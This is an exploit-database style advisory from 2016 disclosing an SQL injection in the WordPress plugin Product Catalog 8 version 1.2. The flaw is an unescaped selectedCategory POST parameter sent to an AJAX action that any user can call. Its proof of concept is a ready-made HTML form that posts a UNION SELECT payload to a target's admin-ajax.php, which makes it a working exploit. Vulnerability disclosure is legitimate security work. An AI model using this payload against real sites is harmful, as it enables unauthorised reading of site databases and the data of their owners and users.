WordPress Plugin Product Catalog 8 1.2.0 - SQL Injection

# Exploit Title: Product Catalog 8 1.2 Plugin WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/product-catalog-8/
# Software Link: https://wordpress.org/plugins/product-catalog-8/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.2
# Tested on: Windows 8.1

1 - Description:

$_POST[ ‘selectedCategory’ ] is not escaped.
UpdateCategoryList() is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/18/product-catalog-8-plugin-wordpress-sql-injection/

2 - Proof of Concept:

<form method="post" action="http://target/wp-admin/admin-ajax.php">
<input type="text" name="selectedCategory" value="0 UNION SELECT 1,2,3,4,5,6 FROM wp_terms WHERE term_id=1">
<input type="text" name="action" value="UpdateCategoryList">
<input type="submit" value="Send">
</form>

3 - Timeline:

12/11/2016 - Discovered
12/11/2016 - vendor not found

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Atenciosamente

Lenon Leite